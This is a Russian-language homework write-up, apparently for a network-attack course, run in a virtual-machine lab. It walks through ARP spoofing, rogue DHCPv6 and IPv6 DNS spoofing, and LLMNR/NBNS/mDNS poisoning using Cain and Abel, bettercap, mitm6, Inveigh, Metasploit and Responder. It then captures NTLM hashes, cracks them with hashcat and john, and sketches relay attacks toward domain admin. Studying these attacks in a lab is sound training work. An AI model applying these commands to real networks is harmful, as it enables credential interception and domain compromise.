---
# System prepended metadata

title: ДЗ Атаки на сети  Урок 3 Network Infrastructure attack Домашнее задание

---

# ДЗ Атаки на сети  Урок 3 Network Infrastructure attack Домашнее задание
1. Провести атаку ARP Spoofing с использованием ПО Cain and Abel, выполнить подмену сертификата (sslsplit) и перехватить учетные данные на сайте с HTTPS.
2. Провести атаку Rogue DHCPv6 (IPv6 DNS Spoofing) при помощи https://github.com/Kevin-Robertson/Inveigh.
3. Провести атаку LLMNR/NBNS/MDNS Poisoning при помощи модулей MSF.  


**1 ATAKA - МОЯ Атака ARP spoof cain and abel**
Пример: https://ivanitlearning.wordpress.com/2019/04/03/arp-poisoning-sniffing-cracking-with-cain-abel/

скачиваем на винду cain and abel
скачиваем winpcap

Запускаем cain and abel

В configure выберем адаптер, который будем слушать и атаковать
![](https://i.imgur.com/gsmzCAN.png)

Активируем сниффер 
Scan MAC ADress
![](https://i.imgur.com/Jd9xUHZ.png)

переходим во вкладку ARP
В левый столбик добавляем шлюз роутера
В правый столбик атакуемый ip
![](https://i.imgur.com/k3wVEmf.png)

Запускаем ARP 
![](https://i.imgur.com/1ChylAz.png)

Во вкладке password ловим креды пользователя на атакуемой машине
![](https://i.imgur.com/frQhUXQ.png)

Сain and Abel подменяет сертификат https 
![](https://i.imgur.com/2IIZaM5.png)




# Факультатив
Нам понядобятся виртуалки: кали, винда 10 и 7 
## ARP SPOOF

настройка сети ipv4 - advanced dns - Use the connec... 
поставить галочку

![](https://i.imgur.com/Ru8CB4O.png)


![](https://i.imgur.com/pBszTzX.png)
нажимаем на плюсик и снифаем хосты

![](https://i.imgur.com/0HECcoz.png)


Переходим в ARP

![](https://i.imgur.com/Tjayr9e.png)

Нажимаем ARP - spoof
На второй виртуалке в браузере ввели креды 
и перехватили 
![](https://i.imgur.com/meCRNbr.png)



PS. HSRP Routers - в протоколе настраиваешь виртуальный роутер. Он будет сам перенаправлять. У него постоянный айпишник.


## ATAKA 2 Провести атаку Rogue DHCPv6 (IPv6 DNS Spoofing) 

**При помощи mitm6 & responder**

apt install python3-pip 
pip3 install mitm6
Отправляет DNS & ARP запросы
Начинает с днс запроса и предлагает ipV6 адресс, а приоритет у ipv6 больше. 
После принятия сервером 
митм отправляет себя в качестве сервера,
и перехватывает запросы атакуемого

* mitm6 -i eth0 отправляет на все ip (-d (domen konkrentiy) )

![](https://i.imgur.com/crzTYzJ.png)

ARP заспуфен
![](https://i.imgur.com/WAEFm1h.png)
ipconfig /all
DNS сервер стал айпиv6 - адресс кали
![](https://i.imgur.com/ehshvSW.png)


Запускаем респондер
responder -I eth0 -Av (A -режим анализа, v - verbose)

пошел запрос

![](https://i.imgur.com/Ko2M38T.png)
При введении кредов
мы перехватим хэш

![](https://i.imgur.com/DdsqMD4.jpg)


Активируем с помощью обращения к неизвестной шаре
![Uploading file..._43vpmpk2z]()

получаем хэш smb 
![](https://i.imgur.com/qEVZ13M.png)


![](https://i.imgur.com/BLVxD5Q.png)

sqlitebrowser /usr/share/responder/Responder.db
Запускается окошко базы данных, все записывается здесь - все хэши перехваченные 

![](https://i.imgur.com/eRknb91.png)
![](https://i.imgur.com/dBWd8DQ.png)


**inveigh attack dhcpv6** при помощи https://github.com/Kevin-Robertson/Inveigh

![](https://i.imgur.com/tsBQSJ2.png)
![](https://i.imgur.com/2tiUTTY.png)


![](https://i.imgur.com/gOZ3oJr.png)

в пассивном режиме сканит сети и показывает 


![](https://i.imgur.com/knCbTIv.png)
![](https://i.imgur.com/D2AuupS.png)

дхцп и днс спуфит

RA пакет - подсказывает что использовать dhcpv6
![](https://i.imgur.com/c7GIhNG.png)
![](https://i.imgur.com/utolZOt.png)

-local - отвечает на запросы локально
![](https://i.imgur.com/ebLUokI.png)
![](https://i.imgur.com/ciXuQrs.png)

* .\Inveigh.exe -dhcpv6 y -icmpv6 y -local y


ВВели несуществующую шару и перехватили данные 


В этом логе записываются хэши
![](https://i.imgur.com/Eg72njC.png)

и айпишники с которого пришло
![](https://i.imgur.com/mmwkSYo.png)


## ATAKA 3 Провести атаку LLMNR/NBNS/MDNS Poisoning при помощи модулей MSF.  

Запускаем msfconsole
msfd init - запускаем базу данных
service postgresql start

msfconsole 
![](https://i.imgur.com/9ZZObg7.png)

Запускаем 5 консолей: 
3 коносле спуферов
2 консоли снифферов

При поиске чего-то мы ему отвечаем что находится 

**llmnr**
1. use auxiliary/spoof/llmnr/llmnr_response 
set spoofip __ ip атакующего
run

![](https://i.imgur.com/js48JcK.png)

**nbns**
2. use auxiliary/spoof/nbns_response
set spoofip __ ip атакующего
run
![](https://i.imgur.com/U3qGkhQ.png)


открываем несколько сайтов в браузерах

![](https://i.imgur.com/H2O1M8z.jpg)

пробуем через браузер запрос на шару
![](https://i.imgur.com/y7Bavu5.png)

Отправили поддельный запрос
![](https://i.imgur.com/AykXjuv.png)

**ntlm**
3. Сервер NTLM
 msfconsole  use auxiliary/server/capture/http_ntlm
options - 
аутпут файлы хэша
set srvhost __IP kali__
set johnpwfile /tmp/http_ntlm.log
set srvport 80
set uripath "/"
![](https://i.imgur.com/WqZeDkI.png)
![](https://i.imgur.com/YHeGsdP.png)
 
![](https://i.imgur.com/adCBWKJ.png)


 
 **smb**
 msfconsole
4. use auxiliary/server/capture/smb 
 ooptions:
  set johnpwfile /tmp/smb.log
  set srvhost __ip_kali__
  run
 
![](https://i.imgur.com/9BSoula.png)


открываем сайты, шары на сайтах 
Получен smb хэш
![](https://i.imgur.com/xcYjrn4.jpg)

![](https://i.imgur.com/cegSAR7.png)

![](https://i.imgur.com/SEgIvwS.jpg)

![](https://i.imgur.com/Q8tLQz6.png)


Нам предпочтительнее получать по http, потому что smb подписывает и от этого сложнее relaited (timestamp - временная метка стоит и если она не совпадает, то не получится сбрутить)

Каждый раз новые хэши у smb.
![](https://i.imgur.com/YGDiCvY.jpg)



**MDNS** multicast dns spoofing
msfconsole
use ...
![](https://i.imgur.com/3rNBfOp.png)

options:
set spoofip4 __ip kali__
set spoofip6 __kali_ipv6
![](https://i.imgur.com/Uo2ZLXz.png)

run 
jobs



# Мои решения

## Провести атаку Rogue DHCPv6 (IPv6 DNS Spoofing) 

**Запускаем атаку mitm6** 

![](https://i.imgur.com/xnTy7qD.png)
Она спуфит другие хосты и назначает DNS server - IPv6 kali

![](https://i.imgur.com/ccOuSBn.png)

Запускаем респондер 

![](https://i.imgur.com/q6y76n6.png)

На атакуемых машинах в проводнике перешли по адресу несуществующий шары, пример: \\sffscscd\sdcsssc

Поймали креды авторизации hash NTLMv2

![](https://i.imgur.com/dv2C6HL.png)
![](https://i.imgur.com/a3QTfQu.png)

Перешли в БД логов респондера
и более читабельном виде увидели хэши
![](https://i.imgur.com/xN8RabT.png)

____
Далее можем сбрутить эти хэши следующими командами


узнаем номер hash

hashcat -h | grep -i ntlm


примеры можем смотреть тут: https://hashcat.net/wiki/doku.php?id=example_hashes

hashcat -a 0 -w 4 -m 5600 hash.txt /usr/share/wordlists/rockyou.txt


Команда у john будет выглядеть примерно так:

john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Защита от данной атаки





## **Attack inveigh**

Установка 
Устанавливаем Git 
далее командой git clone ....git

![](https://i.imgur.com/KTJovOH.png)
узнаем путь 
![](https://i.imgur.com/w9ghMZ4.png)

С помощью inveigh.exe от Исраэля и установки botnet (в данном случае Net 3.5) удалось запустить программу

Команда для сканирования сети локально и замены DNS сервера на наш ipv6 

* .\Inveigh.exe -dhcpv6 Y -icmpv6 Y -local Y
![](https://i.imgur.com/K8WfXMb.png)

ipv6 win 10 атакующая машина
![](https://i.imgur.com/GdGMnw8.png)

Подменен DNS server на вин7
* ipconfig /all
![](https://i.imgur.com/cGtDQdp.png)

Получен хэш пользователя Вин7 и записан в файл
![](https://i.imgur.com/oXtAnU3.png)
![](https://i.imgur.com/opeRMfn.png)

PS. с kali не удалось перехватить данные и заспуфить днс



## ATAKA 3 Провести атаку LLMNR/NBNS/MDNS Poisoning при помощи модулей MSF.  
1. **ЗАПУСКАЕМ LLMNR спуфер**

 use auxiliary/spoof/llmnr/llmnr_response

set spoofip 10.0.2.15

![](https://i.imgur.com/vg0UQai.png)

2. **Запускаем NBNS спуфер**
 use auxiliary/spoof/nbns/nbns_response 
 
 set spoofip 10.0.2.15
 
![](https://i.imgur.com/j1SqI3L.png)

3. **Запускаем MDNS спуфер**

use auxiliary/spoof/mdns/mdns_response 

 set spoofip4 10.0.2.15
set spoofip6 fe80::a00:27ff:fe4d:efb

![](https://i.imgur.com/cqMykBX.png)



Открыли в браузере неизвестную шару, Заспуфили запросы

![](https://i.imgur.com/xTMso2Y.png)


4. **Поднимаем сервер NTLM**

use auxiliary/server/capture/http_ntlm 

set srvhost 10.0.2.15

set srvport 80

set uripath "/"


![](https://i.imgur.com/ZJM5fuT.png)


5. **Поднимаем сервер SMB**

use auxiliary/server/capture/smb

set johnpwfile /tmp/smb.log

set srvhost 10.0.2.15

run

![](https://i.imgur.com/3d4TWRZ.png)


**Получен hash http/ntlm**

Прочтем в файлах
cat http_ntlm.log_netntlmv2
cat http_ntlm.log_netlmv2

По smb c windows 10 не прилетел хэш


![](https://i.imgur.com/FzS5Yc1.png)







# NBT-NS/LLMNR poisosing
Записываем в файл hosts ip & name kali
Файл находится Directory: C:\Windows\system32\drivers\etc
![](https://i.imgur.com/k7j1yI3.png)

* notepad.exe .\hosts
![](https://i.imgur.com/9DwVZBN.png)

Проверим в dnscache содержимое файла hosts 
* ipconfig /displaydns | findstr supertest
*  ipconfig /displaydns > C:\cache.txt
*  C:\> notepad.exe .\cache.txt
*   
![](https://i.imgur.com/KwqCPGV.png)

![](https://i.imgur.com/uUhG3tI.png)

ping supertest на вин10

Получаем такие запросы на кали в вайршарк
![](https://i.imgur.com/CisyFb7.png)


 
 Отвечаем винде что мы теперь fileserver по протоколу nbns
![](https://i.imgur.com/XDKdH6y.png)

![](https://i.imgur.com/OYpbKCy.png)

![](https://i.imgur.com/VsCazSG.png)

![](https://i.imgur.com/Ad9iVy1.png)

ВВели на винде адрес несуществующей шары и перехватили респондером хэши


И так любой сервис, поддерживаемый responder 
У всех запрашивает аутентификацию



# Attack DNS-spoofing & Bettercap & Responder


**Включаем беттеркап**
 * sudo bettercap -iface eth0 
 
Командой 
* net.probe on
Получаем айпишники сети (делаем арп скнирование)

Стопарим 
* net.probe off

Смотрим таблицу хостов
* net.show

![](https://i.imgur.com/H2yO5Pn.png)

Отправляем арп спуф на атакуемую машину, в котором указываем что шлюз - наш айпишник
* set arp.spoof.targets 10.0.2.4 
После этого мы встаем между узлами и шлюзом

Все хосты нашей подсети будут спуфится. Каждому хосту нашей подсети будут отправляться сообщения, что все остальные хосты - это злоумышленники, тем самым мы встаем между всеми хостами
* set arp.spoof.internal true

Включаем сниффер
* set net.sniff.local true
С подробным выводом
* set net.sniff.verbose true

Подменяем айпи адресс, на которые резолвятся все имена (пишем свой айпи)
* set dns.spoof.adress 10.0.2.15
Спуфим все подряд ( можно указывать домены)
Модифицируем ДНС запросы

Запустили сниффер
* net.sniff on

Спуфим домены
* set dns.spoof.domains *

Включаем спуффер DNS
dns.spoof on

arp.spoof on

Разрещолвился наш айпишник (кали)
![](https://i.imgur.com/bM9zVvM.png)

Во всех ДНС запросах происходит подмена

**Запускаем Вайршарк**
Он на ходу подменяет айпишники 
![](https://i.imgur.com/2VM2kdY.png)
![](https://i.imgur.com/OArrwvQ.png)


____ 
Переключился на другой комп. Старикан зависает при атаках.
____


Поднимаем сервер 
![](https://i.imgur.com/kMTNGRB.png)


python3 -m http.server 80 
![](https://i.imgur.com/Z9fQGzD.png)

Вводим в поисковике ya.ru 
и попадаем на страницу сервера

Любые имена резолвятся на компьютер атакующего
Любые запросы на любой сервис будут на комп атакующего

На каком то порту мы запускаем сервис, на который обратится пользователь и мы перехватим данные 

**Responder**

Запускаем респондер в режиме аналайз
* sudo responder -I eth0 -A 

У респондера множество вариантов перехвата запросов по протоколу NTLM 
 ![](https://i.imgur.com/KjdyOqW.png)

переходим на ftp://myftpserver.com
![](https://i.imgur.com/ad7X1mj.jpg)
перехватили данные

перешли на \\mysmbshare.com\share
![](https://i.imgur.com/OzfTfoB.jpg)
и получили хэш юзера 

Далее идут релей атаки (мы перенаправляем аутентификацию на нужный нам сервер,например на домен контроллер и получаем доступ к ldap, а получив доступ к ldap от домен админа- мы можем сделать что угодно)
Если c http в ldap его зарелеили, мы создаем машинную учетную запись с правами домен админа и навешиваем учетной записи права DCsync - синхронизация базы ntds-dit 


# **mitm6 Атака IPv6 DNS spoofing или подложный дхцп сервер**

* sudo pip3 install mitm6

поднимем mitm6
* sudo mitm6 -i eth0


отвечает на дхцп запрос и выдает свой ip
![](https://i.imgur.com/ZllI7ir.png)

мы предложили ай пи адресс кали
![](https://i.imgur.com/PSC7cKQ.jpg)
![](https://i.imgur.com/bV9AXvp.png)
сначала имя будет резолвится через этот днс сервер, так как ipv6 является приоритетным

Все остальные имена резолвит записи типа ААА , пингуем кали
![](https://i.imgur.com/jnYMKsd.png)
![](https://i.imgur.com/Y0U0ETZ.png)

Поднимаем **responder**
У него есть файл конфигурации 
Мы здесь можем включать разные сервера

![](https://i.imgur.com/I7QvkcB.png)


* sqlitebrowser Responder.db
База данных респондера, все хэши сюда записываются 
![](https://i.imgur.com/YW93U57.png)
![](https://i.imgur.com/QVX4kcw.png)

Смотрим папку Logs, можно распарсить и получить записанные хэши
![](https://i.imgur.com/rwCABOH.png)

* sudo responder -I eth0 -A
![](https://i.imgur.com/VkcFczR.png)

Слушает разные порты
![](https://i.imgur.com/9T6r5q2.png)

sudo ss -plant 
![](https://i.imgur.com/vjoKffU.png)

пользователь перешол на шару и прилетел хэш
![](https://i.imgur.com/rMO26Vy.jpg)

скопировали хэш и записали в файл 
![](https://i.imgur.com/tywi2tu.png)

Пробуем подобрать пароль **hachcat** но можно джоном

* john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

![](https://i.imgur.com/B2yFXpF.png)

(винда без пароля)

показывает какой номер хэша
* hashcat -h | grep -i ntlm
![](https://i.imgur.com/oeXdPOR.png)

Примеры хэшей / типы хэша
https://hashcat.net/hashcat/

* hashcat -a 0 -w 4 -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

![](https://i.imgur.com/wCYDhp1.png)


**Конкретный домен для спуфинга(резолва имен)**
принцип белого списка

* sudo mitm6 -i eth0 -d company.local 
не работают в таком случае только сервисы компании
Мы кратковременно положим сеть

Респондер отправлет Router Advertisement флаги, сообщающие что нужно получить дхсп в6 
![](https://i.imgur.com/EZ9G52W.jpg)
